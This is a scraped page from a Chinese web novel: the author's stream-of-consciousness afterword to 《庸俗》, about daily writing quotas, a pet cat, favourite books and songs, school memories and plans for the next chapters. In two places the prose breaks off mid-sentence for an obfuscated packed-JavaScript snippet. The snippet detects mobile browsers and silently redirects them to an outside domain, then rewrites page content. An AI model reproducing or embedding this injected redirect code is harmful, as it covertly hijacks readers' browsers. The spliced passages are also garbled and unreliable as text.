后来猫咪就跳上了桌子上，桌子上留有我在十点吃的鸡蛋羹，早上妈妈发消息过来告诉我说“厨房锅里有炖鸡蛋和煮鸡蛋回来记得吃了，把余的放冰箱，茶几小抽屉里放了50元你想吃啥自己买点”，我想起来昨天直接伸手说给我十块钱，她给了之后说，“哈收到”，我发笑脸，三克油。 后来就不理她了，猫咪闻了闻我的鸡蛋羹汤液，又轻盈的跳下去翻屋内垃圾桶，我说你再翻垃圾桶就打你了啊，虽然我也不想让你饿着，但是我为你写一份“《鳄鱼手记》”的讣告吧。忘记说了，我家猫咪是橘猫，之前有一只偷偷偷渡进来的小猫是我不喜欢的狸花猫。我不喜欢猫，我不是不喜欢狸花猫，我也不喜欢橘猫，三花猫，我很喜欢夏目漱石的《我是猫》，推荐了同学看，她买了双语版，很遗憾的是，在我读大一的时候，我的第一本书《我是猫》，从网上购买属于我自己的实体书，我没有读完，至多读到三分之二，可能更少或更多，就没看了。从什么时候我不开始看实体书了呢？我得好好想想。 现在的手机电量是39%了，我尽力把一切变得深刻枯燥，乏味耐读，但是怎么感觉应该睡个午觉了，我以为我会熬到今天晚上十点硬再给自己的作息调回来呢。 我的精神的疲惫就像精神走在了清晨，身体还在昨天的夜晚，等我身体走到了清晨，我的精神始终感受不到真实的正午时分，我不愿就此睡去，不知睡到天地何物何处，但是马桶上的沉思者啊，我的背好痛。人和人的创造何以差别这么大，让如此薄弱的脊背扛起力敌千钧重量，偏偏不完美，胖乎乎的腿。还给她左腿右腿，那么清白的痛苦。 午安。 “Usix还饿不地方KFC”这堆奇怪生物是我在提前上传留存出一些空白章的时候随便打出来的，让我想起来有一个作者说，她虚构的那个角色打出来的一堆无意义的英文字母做名字，是因为猫咪按到了键盘。 家猫还是比野猫香，就是教堂不是妓院，妓院不是教堂。家猫是正经猫，正经猫不下海。“魅”不了一点。啊啊啊，快来和我想一想，庸俗到底是什么题材啊，我自己勾选的是，原创，无CP，幻想未来，剧情，其他。 真正售卖的时候怎么捏准消费者心理呢，你学过消费者行为学吗，我学过。可是我不知道怎么营销呀，我不了解市场呀，我不了解友情呀，我，到底，有没有，一个真正的朋友！尼采，你来辩，你的查拉图斯特拉，到底存在不存在！ 我上初中的时候写过一篇作文，我的老师当着全班同学读我的作文写的好，是真事，我反复说我编的她都不相信，我不知道她是为了发扬我的才华还是埋没我的才华，但那真是我编的，我比较会写记叙文，上高中后就不行了，我不会写议论文。 我使劲拽住我家猫的右手，它爱我，我知道它爱我，它爪子都亮出来了都没有抓我。舔狗便利店。我还不会写散文和诗歌，我不擅长。 刚刚我在想今天一定要出门一趟，刚刚我在想是不是秋天了应该换长袖衬衫，不然为什么我的皮肤好痛，夏天的T恤挂在身上那么痛，刚刚我在想正文的最后一章我写的好乱啊，太乱了，我的毕业论文都没一万字多。 当时写毕业论文的时候老师说一星期写一章，我每次都是卡点在周日下午最后的晚上搪塞“补”好的，最后还是最后一个交毕业论文的，我在我的大窗户房间接通两次老师打来的电话，我哭着说老师我状态不好，我最近在调整去看医生，意思就是交不了，老师说，找同学帮帮忙，让他们告诉你一下怎么装订，就剩装订了你都写完了装订装订不好？她在努力给我走后门，你放聪明点啊，让别人跑跑腿，你一个人全抗你抗的了吗，你的家人呢，我说没有，都没有，没有人。我家里没有人。就我一个人。 好无聊。我不知道把自己关在哪个黑房间里了，在自己的思想迷宫里一直找不到出口，四处碰壁，还回不到入口。上天已经多么眷顾我了，玩游戏的迷宫有两个“出口”啊，怎么一个都找不到，笨蛋笨蛋笨蛋！ 老师说，你听说过聚光灯效应不，我怎么可能不知道，我在《我也没记起》里面写，老师我知道聚光灯效应，但是我还知道这是他们歹毒的往我脑子里植入的聚光灯，人们就可以自己管理自己了，人人都能成为“偶像”。 我不停的转移注意力，亲口诉说着不同的“故事”，你们称之为上下文分段，用完逗号用句号，我初中语文老师就说我写的挺好的，说就是有的句子太长了，怎么不分分段啊，我说不好意思，我还不知道标点符号怎么用，我学一下。 我敲字敲的手都要废掉了。不能分。不能停。你根本不知道停顿是持续性让我的躯体和精神死亡。反复重生，反复死亡。这是永生永世的一个诅咒，尼采的永恒轮回。 忘记说了，我的MBTI是INTP。这个标签是我在大学上心理课的时候，老师让我做的测试测出来的结果。后来的几年也断断续续做过两次。有一次找出来大学的试卷做完还是INTP，有一次做了93道题，测出来还是INTP。前段时间测出来的是ENFP。有一次也测过INFP。 学会利用工具，我已经不停顿的用语音转文字写书了。哈哈哈。这三个哈哈哈是敲出来的。手抽筋。 一个人在封闭的房间里。尽管外面阳光明媚，窗帘半掩并没有真的全掩，但是这真是一个好安逸的鱼缸呀！ 有计划下午出门是因为可以骑上车在城市里一个人漫无目的的闲逛。放松眼睛，并不刻意去看绿化带，也可以让眼睛得到休息。不必担心有行人。撞到我或我影响了他们。大家都是有行车技术的人。不必担心。 现在逗号其实可以当句号用了，我去装订毕业论文的时候，我很喜欢他们工作区墙上的一幅画。是一个巨大的逗号。你眼里的世界和我眼里的世界并不一样，就像你根本不知道逗号对于我来说是什么意义。五千。 我的破马尾辫，头发碎碎的不停的滑落。盘卷还是扎起来？猫咪一直在我身旁喵喵叫。我抱住它的头猛然亲了一口。 工具不行啦，那个软件怎么超过5000字我就不能复制粘贴了吗？那我想要把我的1万字从这个软件挪到另一个软件，难道我要靠意念搬运吗？写毕业论文的时候，老师反复挑错，最常跟我说的一句话就是通顺吗？我说感觉有点无语。每次都问我，这个逗号为什么不是句号？这里应该结束了。批注上比起我写的论文内容我反而犯很多格式上的错误。 原来人很疼痛的时候是分不清自己哪里痛的。身体内部还是皮肤表面？骨头缝隙还是手掌，脚掌？第一次感觉自己这么不了解自己的身体，就像不了解自己的灵魂，就像不了解我，就像不了解我这个字在我面前，就像不了解我的概念。 我是什么时候发现了这个事情的呢？是在我把我家猫终于抱进了怀里的时候，是在我打开柜子的门，把那只也许叫薛定谔的猫抱在怀里，把那只可能有腐蚀性的猫抱在怀里，把那只可能已经染上放射性物质的薛定谔的猫抱在怀里的时候，总有无数的人前仆后继的证明爱具有强腐蚀性。总有无数的人像尼采一样被后世评为存在主义的先驱。 自己做自己思想的搬运工是一件很反人性的事情，相当于直接昭告了天下。昭告了系统。我知道你的存在。你们可以检索我有没有用过分号。 三人成虎。我对一个人说我喜欢喝饮料，因为饮料有成瘾性。因为饮料喝了会上瘾。但是我没有告诉她。没有告诉任何人。我离不开它。 不记得在何时何地说过了，我是一个哑巴。我不会说话呀。说也说不出口，哭也哭不出来。你们检索的时候不要只检索关键词，你们应该检索一个句子，看他会不会在文章中出现两次。需要道歉的是我自始至终都不明白，它她他三个不同的ta还有的得地，怎么使用。我的猫咪应该3岁了，从它进入我的目光，我有感觉开始。其实去年10月份左右的时候断断续续给ta买猫粮，我才发现它和我待在一个屋子里的时间还挺多，有一次我记得躺在地板上。发出很大的呼吸声。我突然从手机里抬出头。叫她上来。他不上来的时候，我下床把他从地板上抱在怀里。我们一起坐在床上的时候，他在我怀里。待了一会儿。才看着平静下来。那时候我不记得在我的哪页本子上写？我不知道，他是因为和我待在一个空间里。很焦虑，还是他自身的身体出了问题，这些都不得而知。不过还好它平静下来了。我不中了，为了凑够一万字快点“结尾”，拼命在一人一猫的空旷房间里语音转文字，喃喃自语，念念有声，结果一看符号落点和停顿时间都大不相同。没办法呀，关注了感情就不能关注结构，关注了停顿就不能关注符号，关注了逻辑就不能关注系统，解题就是要这样玩才好玩啊。感觉我已经快疯了，肯定有一个人会说，老师已经沉浸在自己的艺术里了。 我不要爱，我要尊重，我要自由，我要翅膀，我要飞翔，我要变成一只鸟，让诗都有规整的韵脚，不是，我好像再这样就写成散文了。 我最喜欢的作家是简媜，世人总爱把她的媜字写成桢，这样也好吧，我突然改主意了，女也可像树木顶天立地，隐去女旁也好，万物本无性别，她的《你笑起来真像好天气》，总记得没读完，前些时候把书翻出来都重读了一遍，谨以那段一小片为重读花费的时光，纪念我高中在学校校内图书售卖店买的，你笑起来真像好天气这本书和包法利夫人。 我这本书什么味道都没有，只有大杂烩的锅气。 我这个人不太适合在负重的情况下表达感情，我一直用了一个错误的方向，散发自己的余热，时至此时我都未找到，我们该去到哪个地方，因为虽然说所以没有老师这句话很欠揍，但是咋说呢？在做自己的这条道路上。不能也不可有老师。真抽象。 人在世界上行走就像盲人摸象，有的人摸象腿，有的人摸象牙，有人说世界是柔软的，有人说世界温润如玉，有的人喜欢象牙，有人被象尾抽打。我实在是正经不了1秒。嗯，就这样吧。我还有最后3500字就完成今天的指标喽。 出去洗了把脸回来看到沙发上的手机，真的有一种绝望的感觉了。让我想起流放与王国里面有一个故事叫约拿斯，故事的名字就是他本人的名字。约拿斯也是一个有人格魅力的男子。就是一个人关在屋子里写作的时候真的很像坐牢。他在周围人都很喜欢他，日渐搁浅下自己的绘画艺术时，终于有一天发现自己不想画画，而且也画不出来了。后来他就一个人搬到了阁楼里，不吃不喝了好几天。出来的时候形容枯槁。每次问，他都在答，在画画。但他终于从阁楼里面出来的时候，其他人把他的画拿下来，发现画布的中央只有很小的两个单词，几乎不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423127|184815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可见。那两个单词，而且只差一个字母。别的完全相同。如果我还没记错的话是i和e的区别。但也可能我完全记错了，大家还是自己去看那本书吧。 暗骂了一句脏话，每次抬起头都发现电扇总是一个人静静的在吹不是我的方向，浪费电。 世界上只有一个人死了，也只会有一个人死了，就是我。遍地残骸的战斗碎片，里面藏着我心碎的秘密。AI不会取代人类，因为人类逼急了会创新。AI之父叫人类，失败它妈是成功。总之就是那四个碱基组成的DNA，嘌呤类和嘧啶类，一生二，二生万物。腺嘌呤和鸟嘌呤。胞嘧啶，胸腺嘧啶。鸟嘌呤是G，不知根底的统一，残疾人是C，从零到一就是鸟，从无到有就是伟大。还记得残疾人是《务虚笔记》里面的角色吗。其实史铁生主要就在写他，残疾与爱情。 我身体弱，但不知弱到了哪里，没有胃病，没有风湿。年轻的身体与自由的孩子。每日早晨9点。正常上厕所。作息很规律。他就是一天到晚不知道在干什么。然后一天到晚什么都做不了。 我想说一说我喜欢喝什么饮料。 我喜欢喝东方树叶。茉莉蜜茶，薄荷奶绿，阿萨姆奶茶，珍珠奶茶，四季春茶，四季春轻乳茶，果子熟了茶饮品，东方树叶茶饮品。康师傅全系列。茉莉清茶，怎么可能？康师傅全系列我都还没喝过呢。我喜欢喝绿茶，红茶。但是这个绿茶和红茶是泡出来的，不是茶饮品，不是饮料。不过也是饮料。饮用料酒我实在写不出来，怎么才能到3000字啊？我还有3000字。 牛不喝水强按头，天底下没有这样的道理。看我的书。多回忆一下。你看过的电视剧。和你网络冲浪看到的内容吧。我只是把它经过了更加无聊，又好像很有趣的排列组合。 除了最喜欢的虚构的那个女人，我其实很喜欢我的高中语文老师给我讲的，他的一个同学，他的一个同学考上了很不错的学校，然后语文老师也在写东西，写书，他在大屏幕上给别人看过他自己写的书，哦，那个别人就是我们，然后我还记得里面有一个角色叫彭放，有一点点掺杂他同学的原型，我记得他讲过的一个场景，就是他同学躺在漆黑一片的屋子里，窗帘都拉上，华丽的地毯上，留声机放着音乐，他就一个人，他在地毯上，他喜欢躺在地毯上，什么都不做。发呆。 我描绘我的角色的时候，也更多的是描绘他们躺在床上，看窗外，下雨细雨画在玻璃上，蒸腾起雾气。还记得我之前提到的一个化学方程式吗？我说氯化氢气体就是我提纯出来的高雅，我要放飞它，把它融入大气里，虽然不知道对大气它是污气还是纯气，但是作为庸俗的层面来说，高雅是重要的。 不知不觉我又想起来我很喜欢的一个老师朱光潜。他写过的一本书。致美学。我不记得名字了，但是那本书我也没有看完。是在大二的时候。 我还记得我高二的时候换了另一个语文老师，搬了新校区后。有一天我问语文老师，什么叫高山仰止，景行行止。他好像跟我说了很多，好像又没说，但是他突然给我传达了他生命的1秒，我立刻就懂了这句话是什么意思。高三的时候又换了一个语文老师，那个语文老师很讨厌我。然后我就很讨厌他，我就看不惯他那轻狂样子，以为我考不上什么好一点的大学。我确实没有考上什么。好一点的大学。现在想来我从始至终都不是一个好学生吧。虽然曾经也拿过名列前茅的成绩，但是我在高一的时候刚入学。就学会了翘课。高三冲刺高考的时候就更无法无天了，比如老师在上面讲课的时候，我压根不会告诉他我去上厕所了，我直接就从后门出去了，我在厕所待10分钟。再回来。还是不会跟他说。不过我从来都没有认为过自己很张狂。但是倒认为我自己很独。权威。 还有最后两千字。 什么情况下会盼望着一件事情快一点结束呢？那一定是想早点上完课回家。吃饭。 Bouquet-likelove,neverseen.Shit!我的，天。手机的键盘怎么这么高级了，我都没有登录账号，他就直接把我的中文转成英文了。仔细研究了一会儿，才继续语音转文字的，中文转中文。我今天写的手都要断了。但我自作多情，总有人需要我，需要我的文字，需要我的思想，需要我的灵魂，需要我的生命。所以我不能停下来。鲁迅说无尽的远方，无数的人，都与我有关。我想起来我高中的时候还去图书馆借鲁迅全集来看，好厚一本书。5cm厚。还有好几册。我还记得一本我忘记了名字，但是故事内容是他养了一只狗，从生到死，的故事。当时只道是寻常。世界上那么多狗，那么多猫。无数只猫咪，无数只狗，偏偏谁也不认识，偏偏每个都精彩。 马上就到4000字了，已经到3500字了。这样的细细数来，好像跑文字的马拉松。今天这一章我尤其多嘴。我的手机也快没电了，此时此刻是下午16:19，手机电量还有15%，网速5.00kb/s。这每一个文字和符号都是人类世界最伟大的发明。 数一下我喜欢听什么歌吧。 我喜欢朴树的《傻子才悲伤》《冲出你的窗口》《傲慢的上校》《我爱你，再见》《永隔一江水》《猎户星座(Live版)》《那些花儿》《NewBoy》，其实我喜欢他这个人，所以几乎每一首都喜欢，这几首比较突出吧。 邓紫棋的《离心力》《让世界暂停一分钟》《天空没有极限》《夜的尽头》《FINDYOU》《老人与海》《GLORIA》《受难曲》《冰河时代》《不想回家》《你不是第一个离开的人》《只有我和你的地方》《HELL》《少年与海》，这些是以为自己把她的每一首歌都听过了，结果发现还有惊喜。 薛之谦的《金斧子银斧子》《跃》《等我回家》。 其实我不是小迷妹，也不追星，没有偶像。能看出来吗，我不想解释了，我快吐了，我已经说累了。 还有最后一千就“回家”。 想起来有一天做了一个梦。在学校要回家的时候没有钱。也没有车票，不知道去哪里可以买到车票。车票是用钱来兑换的，但一部分它不是用钱来兑换的，后来就在自己的铺盖底下翻出来了1000块。有点难受，也不是很想要那1000。也不知道它到底是谁的1000，但我的铺盖底下肯定是我的。但不知道这1000是谁的。 说一下我的牌的名字，《斯拉夫传说》《天地》《灵魂之歌》《流放归途·苏醒》《灵魂飞溅》《阳光橘猫》《风车旗》《空境》《远方季风》《荒唐花花》《降临》，总有一天我要把降临收入囊中，不过我实在没有钱了，哦，《庸俗》！ 就这样吧。 我一共就提到了两只死。还有一个是接下来要说的，我出门去吃饭的时候刚走过烤冷面的摊，又返回吃它，看见来的路上有一摊新鲜的血。 不知道是猫血还是狗血，总之是橘黄色皮毛，被轮胎倾轧成饼，下意识认为是猫。薛定谔的猫死了。 我对老板娘说那死的是猫吗，刚轧死？看着还新鲜，这话说出来不明其意的人会觉得我有一种残酷、莫名其妙、冷血的冷漠。 生死不同路，我走了另一条路回家，一直在想自己要怎么写接下来的十三章十万字。给妈妈带了一个两块五的炸串之后，我花了七块烤冷面，二点五同款炸串，一元给爱车充电，又推着电动车推了几百米才回到家。 电表盘上红灯绿灯一直闪闪烁烁，交替闪烁，庸俗和小庸俗交替出现，我脑子里有五个人跳出来互相辩驳，我呆若木鸡，旁若无人，吃烤冷面。 回来了嗓子哑。 妈妈留在抽屉里的五十我太恍惚了，钱也不记得在哪里，钱也忘记带着出门，所以我让她线上再给我二十。回到家已经七点左右，没力气把电动车推去充电，我就去后院“瘫”着，“摊”着，脑子太乱了，一直盘旋放弃庸俗。把其他“过往”移花接木过来，没人认出我曾经的“孩子”的。我说不行，世人没有权限见它们。 他们不喜欢“我”，就勇敢说恨我，我敬佩勇敢的人，勇敢的爱恨，而不是苦海自招的业孽，口口声声着东亚特色恨海情天。吃点好的吧，没吃过猪肉还没见过猪跑，下地还是少，欠练。 我们快要杀青了，我快要杀青了，庸俗，小庸俗，我的幼年态和成熟态以及变态，来一起拍个照吧。 看镜头，茄子，微笑:），^_^。 《庸俗》全本完结。 作者：甜松饼。 读书破万卷一直是我的软件个性签名，我还写过两个高级的，“时间到了我就会忘记你”、“此人平平无奇荒谬乖张”。 从七点后我一直重看一遍这三万字检查错别字，病句，看到九点四十我写下这最后的一千字。刚刚有一架飞机的声音飞的很慢从我的窗前飞过，我的右眼近视五十度，左眼视力正常，他们一起看人就看不清，我只听到了飞机的声音，我看不见它的样子。叹气，我是一个又哑巴又瞎，小时候还差点聋掉的人，不知道这些零件怎么组合在了一起颤颤巍巍也没摇摇晃晃。 眼泪是我灵魂的润滑油，祝我的新书大卖，稿费报答“养育之恩”。 谢谢大家！ 完。 11. 十 2025年8月22日 黄历闰六月廿九 乙巳年蛇年甲申月癸亥日星期五 宜：修饰垣墙、平治道涂、祭祀、沐浴、作灶 忌：嫁娶、词讼、治病、置产、作梁、祈福、安葬、栽种、伐木、安门 今日内容：“一言难尽” 达成解锁人物成就：年龄+1 早上好，朋友们。 （捂嘴笑）忘记刚刚想到了什么，不过现在是早上时间，八点五十分整。我七点多就醒过来了，醒过来一时还反应不过来发生了什么，又应该干点什么。躺在不太舒服铺的床上，我安逸的通过我的大窗户看西边已经明亮的天空，透明质，似乎像水一样可以用手指穿过的天空。很柔软的感觉。 后来按照身体要求去上厕所，妈妈在刷牙，说我要不要吃点什么，我突然感觉自己丧失了力气，可能是晨时气血还没上来，我摆摆手，不了，虽然刚说完我醒这么早是因为我睡的香，但我突然又想回去睡觉了，我说我回去接着睡觉了，结果，喏，我又在敲字。 不知道是不是我的全部都已感知到我的工作还摆在案头，所以劲往一处使帮我达成，还是心里念念不忘想做一件事总也放心不下，所以头脑在一种羊水的模糊一样，还在动动小手，似梦游一样，飘飘荡荡来了自己的桌前上。（写下上面这三段后，已过去八分钟。这人又重看一遍自己写的什么。） 没有读过孙子兵法，但是兵贵神速，今天的指标是七千字左右，朋友们，我的心里有一种大喊一声的冲动，你知道那种破土而出的快乐吗，我真不敢相信这本书写完我是多么的兴奋，我还从未感到如此兴奋过。就是以前，吭吭哧哧花费三年，老黄牛一样，不辞劳苦的日日书写的时候，三年写了将近一百万字的时候，有一天一算发现自己居然写了这么多的时候，都没有这种兴奋，不，应该叫激动和兴奋的混合体吧，兴奋这一个词显然是不太准确的。（一提起这个心里就会持续的兴奋，开心^_^。） 昨天的时候已经花了一些时间写后面的开头，但发现写了五百字就用了46分钟的时候，我就知道这个开头不能要了，我看着也难受，不上不下的卡在那里，怔愣了好一会，我一看手机屏幕最上面显示凌晨一点多了，我就放下手机睡去了。 没想到还是想和朋友们打招呼，于是这个开头就顺理成章的出来了。 今天也来介绍一下我的心里话吧，虽然这本书是在现实的情况下虚构出来的，但是我本人认为，也充满了借鉴意义，不同的读者读，应该有不同的感悟吧。我感觉《庸俗》这本书，很有一种科普味道，“百科全书”的感觉，像一个巨大的“搜索引擎”，因为在这本书的世界里，“我”，提了太多我看过的书。有时候也不知道自己的身份到底是小说家，艺术家，裁缝老板，还是作者，关于写作，写东西，写书，我其实从未想过自己会成为或要成为写东西的人。小时候在做学业的时候，同学也偶然提过一嘴自己适合写小说，但那时年纪太小了，也不认为自己能写出来，也不认为自己喜欢做这件事。后来事实证明，周围人对我褒贬不一各不相同的评价，他们对我深深浅浅的影响，还是促成我走上了这一条路，或者说，思考。（总之无数的人都走在思考的路上。） 我发现这条路最适合我，而且我也喜欢这件事。毕竟，虽然小时候不太记得了，但是上初中的时候我可是超级喜欢学习的，课文好美，那些《醉翁亭记》《岳阳楼记》，李白杜甫，欧阳修杨贵妃（星星眼）。高中时候可能是遇上了青春期，那时候埋在书桌之间还不甚明白，但躲在垒成小山一样的课本之后，睡大觉，看课外书，不好好上课也要阅读《苏东坡传》和《巴黎圣母院》的时候，我感觉到书籍中扑面而来的美丽世界，和庞大。 读巴黎圣母院的时候是同宿舍的一个女生听到我说我喜欢看小说后急着把她买的《巴黎圣母院》借给我读，我说不要不要，我初中喜欢看《读者》《意林》还有《爱格》啊，噢名著，哒咩！（双手胸前交叉手） 后来我的同桌，可能是同桌，他有一本《水浒传》摆在桌子上，我看见了，他介绍给我说是文言文版的，我说，让我看看。《必修一》和《必修二》真的好难！该死的数学化学物理英语为什么一学期不停不休的讲两本书，我，学，不，会！所以我理所当然的想偷懒放松一下，高中生又没有什么别的事可做，我那时候学校老师，氛围还算轻松，社会压力还不是很大，网络世界才渐渐兴起，手机我还是初中毕业之后才拥有了这个东西，高中自然也未过多接触，埋在书山题海，自然看小说故事解乏了。 没有剧透的和诸葛一（可能只是笔名，不是本名）的一起还影响深刻的两本书是孙子涵的《这孤独世界，幸好有你》还有一本不记得作者了，《盗墓密码》，当时总觉得是《盗墓笔记》的“兄弟”书，一个作者写的，但是不是。我从来没看过盗墓笔记。悬疑类我大概只喜欢三天两觉写的《惊悚乐园》和无色方糖写的《无限房间》，对我来说偏向悬疑。因为，“悬”，“疑”。可能是我惊叹他们的脑洞。我想知道什么样的大脑会写出那样的书。被名著的影响是后知后觉的。 因为《水浒传》我看的入迷，一天看了一百页，一天都没有认真上课了的时候，“同桌”不让我看他的书了。（我裂开。） 所以我只看到了卖人肉包子的那前后，可能，我记不太清了，著名的潘金莲西门庆应该在它们之前，可能，我也看过。（偷偷说）其实我觉得潘金莲西门庆和武大郎以及武松，我没觉得应该喜欢他们任何一个或讨厌任何一个啊，都是普普通通平平凡凡，或在书中世界有阶级分明的人，但都是人，怎么就爱之欲其生恶之欲其死，太极端了，吓死宝宝了。世界真可怕，我不想长大。 还有一本是《细说唐代第一大家》，应该叫这个名字，这个记得名字不记得作者，主要是这本书的名字朗朗上口，我就也不眠不休记了这么多年。这三本都是初中说我“有才”写小说的那个同学借的市图书馆的书，水浒传三天两觉以及无色方糖他们是在高中的书。对我影响也很深远的是初中看的孙子涵，以及可能叫午歌的《晚安，我亲爱的人》这本书，还有刘同，大冰，《你的孤独，虽败犹荣》，《向着光亮那方》，《想为你的深夜放一束烟火》，大冰的书我现在只记得自己手里这本《保重》，我应该看过《好吗好的》还看过他的一本书，这个已不记得。 在上大学之后我重新看了一遍《晚安，我亲爱的人》，试图看一下没看过的《你的孤独不迷茫》，不是，《谁的青春不迷茫》，哈哈哈，好像同名电影也看过。（可能同名，不记得了。） 大学看了《汪曾祺传》、《致女儿书》……我实在是不记得了，如果找找应该还能找到，但算了，我说了这么多书，你们也看不过来了吧（眨眼睛）。当时觉得《致女儿书》最震撼，他怎么那么能叭叭，叽里呱啦不重样的说了一本。我的世界观被震撼了。我和别人唯一的区别是，我不单单看这些书，我还力保我能记一辈子，不写东西则已，一写必须给我成书，不然占地方，还不好找，因为懒惰，我想了很多办法躲懒。哈哈。懒人创造世界，哈哈，笑死我了。 我的日子就在平平淡淡的学途跋涉下度过了平平无奇懒懒散散的二十二年，大学毕业了。 高中的时候去校外补课，我在商场的书店里买了《萧红传》。越长大我就越感觉世界的沉重了，尤其是我逐渐从苏东坡读到了萧红，又读到了汪曾祺。编纂成书的时候我们只看到了《汪曾祺传》这本书从整理书写到面世的前因后果，但书里汪曾祺真实存在的本人，苏东坡的故事，莫不如说世人窥探整理的一丝“历史”，他们本人真实在不同时代的困境和起伏，其中波澜只能窥探到一点，我不是他，没有他们的灿烂辉煌，也没有他们的淤泥陷落，但我是我，我呢，我又是谁。 人类有相同的困境。 但不一起报团取暖还互相磨损，请自动转换成甄嬛的语气，“实在可笑。”（“为何你连枝叶末节都这般留意，如此居心，实在可疑”。滴血验亲局。微笑。） 啊，我不想写这些了，已经10:24了，我想休息一下检查错别字，刚刚好也写了三千字，奖励一下自己，休息一下。也不想说这部分了，等会说点好玩的。 11:11。 这是我昨晚写的。 庸俗的世界，第一章节： 欢迎接下来的玩家顺利来到第二候场区，现在，让我们热烈祝贺走进第二道门的，充满着美德和高尚勇气的正义之子们。在进行最后的冲刺游戏时，主办方先要为来到这里的幸运儿颁发一个礼物，面前，这个彩色的打着蝴蝶结的盒子里就是奖品，奖品是各位玩家获得观看“隐秘”之书《清晨岫玉》的登录权限，我是你们的总策划，甜松饼，谢谢大家。——甜松饼丝毫不浪费时间，一气呵成的说完，转身退场走向幕后。 下面上场是穿着白色洋裙的小庸俗，她叫星星，不过这名字很少有人知道，大家都更愿意叫她小庸俗，听着很亲切，她道：“我是你们的老伙伴了，还记得我吗，上一场作为场外求助我全程陪伴着你们，这一场也不例外，这一切，仍旧全由我主持，下面我来宣布接下来的游戏玩法。” “你们面前现在平行着有十三道光之门，每一道门有一部作者没有剧透的故事之书，纵横着有七道影之门，每一道门有一部作者书写的简介说明。面前的随机盲盒里是两种不同的游戏规则，抽到一，带薪休假七天，二，无限畅玩十三天，时间之铃响起时在两方人马会面时第三关游戏结束，铃声第二次响起玩家到达第四平台，视为终极游戏结束，游戏结束都有礼品相送。” 剧透一下就是人们站到第四块平板后从游戏世界醒来，只以为自己做了一个美梦，然后起床照常去工作上班，得到的礼物就是情绪，傲慢、嫉妒、暴怒、懒惰、贪婪、暴食和色欲，或者是幸福，每一个人都不一样，毕竟很多门很多故事还光影两面，所以无法共享成果，无法和别人分享礼物。 这只是一场梦，所以很符合“我”的喜好。 如果说楔子是《庸俗》的幼年期，那正文就是《庸俗》的成熟期，后记是《庸俗》的变态期，然后我又可以放飞自我了。在植物中，完成繁殖的自然生命周期阶段就是幼年态成熟态和变态，变态是幼年态到成熟态经历的剧烈形态、结构和生活习性变化，是连接两者的过渡过程。所以作为完整的书籍结构我写作的后记目的就是解释正文——“变态”。继续发扬“我”的虚构。（！。） 给《庸俗》里的小庸俗们分别取名字就是我最喜欢玩的洋娃娃和变形金刚游戏，比如小庸俗叫星星，庸俗叫死神。 酸枣，春花，任意，小任，阿无，祝土，镜存裕，镜存予，镜存羽，任随意，鱼意，松饼，沈慢——都叫节制。作者叫甜松饼，《庸俗》叫庸俗，我的卡集都叫审判。喜欢的音乐叫愚人，喜欢的书籍是魔术师，喜欢的明星叫女皇。朋友叫命运之轮结尾叫正义烂尾是死神。 我贪财好色的心叫四千。（大锤，八十，大锤，八十，小锤，四十，小锤，四十。笑死我了。） 好友位叫月亮。 “轻轻敲醒沉睡的心灵～”唱出来！ 已经快下午了，在大学几年的时候为了出了学校能找到工作养活自己，我发现时间不等人，而且我很爱我的家人，我喜欢他们小时候手把手教我怎么炒鸡蛋，教我穿衣吃饭，那轻盈的三十岁，因为有他们我觉得自己也很美好，我就盼望也快来到我的三十岁我想自己看看我的三十岁。 不过首先需要找一份工作立足，家人们为我撑起来一栋房子，我也想让他们出口时带一把我挣来的伞，我是永远也比不上我的家人的，阅历年龄时间是超越不了的，所以我能做的也就是举起一把伞了，房子肯定是没有的。 大学是一种又忙又闲的无法形容的状态，所以不集中起来时间看书是无法轻易享受书籍的，我还是尽我所能的在庞大世界里懒惰自己的享受，就在这几年看了很多书。 《一件属于自己的房间》《小径分叉的花园》《每一句话语都坐着别的眼睛》《沉沦：郁达夫小说集》《悉达多》，还有我最喜欢的《远行译丛：在西伯利亚森林中》，以及看了一半搁浅的《瓦尔登湖》。大学暑假打工挣钱买的《你当像鸟飞往你的山》，《想为你的深夜放一束烟火》，《为了活下去的思想》。电子书购买的《陷入我们的热恋》，还有《夜晚的潜水艇》，《山河袈裟》。 有人也问过我怎么看过那么多书，其实不是，是我记性好，我这个人就是要不虚此行，一步算一步，每一步都算数，落子无悔和掀棋盘反悔，都得给我得出结论，比较轴，所以记性好而已。不然怎么学习好，不然怎么在中学可以名列前茅，不然怎么有本事出去不打招呼呢。（眨眼睛。） 写了很久已经累了，高强度的工作无论是三年写了一百万字还是要花不到半个月的时间把《庸俗》写出来都是因为不得不做，和找到一份工作，或者交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423128|184815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一份给世界的满意答卷，让他允许我留在他的土地上，因为我对这片土地爱的深沉。我爱我的家人和朋友，爱我的世界——我的恋人。 昨天晚上已经把《蒙马特遗书》看完了，打算看她的《鳄鱼手记》了，写的和她的鳄鱼手记一样多十三万字是因为这是我身体的极限了，我需要休息，她的蒙马特遗书是在写完了就自杀，我的庸俗也是，写完了就要出版，我找到工作了，就是在家啃老，人家打天下累死了嘛，先啃了再说，等稿费下来再说。 